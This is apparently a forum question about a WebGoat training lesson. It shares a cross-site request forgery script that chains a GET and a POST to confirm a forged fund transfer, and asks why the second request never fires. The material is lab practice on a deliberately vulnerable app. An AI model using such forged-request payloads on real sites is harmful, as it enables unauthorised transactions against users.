My attempt to bypass the WebGoat
prompt involved using a combination of javascript code with XMLHttpRequest
to send multiple requests, one using GET and the other using POST. The code snippet is as follows:
<script>
var req1 = new XMLHttpRequest();
req1.onreadystatechange = function() {
if (req1.readyState == 4 && req1.status == 200) {
req2 = new XMLHttpRequest();
req2.open("POST", "http://localhost:8080/WebGoat/attack?Screen=32&menu=900", false);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // needs to be specified for POST requests
req2.send("transferFunds=CONFIRM");
}
};
req1.open("GET", "http://localhost:8080/WebGoat/attack?Screen=32&menu=900&transferFunds=4000", false);
req1.send();
</script>
Upon saving this code as an HTML file and opening it, no requests other than the initial GET
request with status 302
are being made. How can I modify this code to ensure its successful execution?
Browser used: Firefox 40.0.3
WebGoat Version: 6.0.1